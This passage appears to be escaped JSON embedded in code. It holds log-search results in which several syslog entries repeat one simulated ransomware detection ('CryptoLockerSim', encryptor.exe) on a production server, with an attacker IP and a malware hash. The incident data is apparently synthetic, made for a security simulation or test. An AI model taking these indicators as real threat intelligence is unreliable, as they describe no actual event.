2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:32Z\\\",\\\"event_id\\\":\\\"FIM-20231005-001\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"description\\\":\\\"Suspicious file encryption activity detected on server.\\\",\\\"affected_host\\\":\\\"192.168.1.10\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename_encrypted\\\":\\\"confidential_data.xlsx\\\",\\\"ransomware_name\\\":\\\"CryptoLockerSim\\\",\\\"process_name\\\":\\\"encryptor.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:29:18.958Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:32Z\\\",\\\"event_id\\\":\\\"FIM-20231005-001\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"description\\\":\\\"Suspicious file encryption activity detected on server.\\\",\\\"affected_host\\\":\\\"192.168.1.10\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename_encrypted\\\":\\\"confidential_data.xlsx\\\",\\\"ransomware_name\\\":\\\"CryptoLockerSim\\\",\\\"process_name\\\":\\\"encryptor.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:28:18.958Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:32Z\\\",\\\"event_id\\\":\\\"FIM-20231005-001\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"description\\\":\\\"Suspicious file encryption activity detected on server.\\\",\\\"affected_host\\\":\\\"192.168.1.10\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename_encrypted\\\":\\\"confidential_data.xlsx\\\",\\\"ransomware_name\\\":\\\"CryptoLockerSim\\\",\\\"process_name\\\":\\\"encryptor.exe\\\",\\\"process_id\\\":4567}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
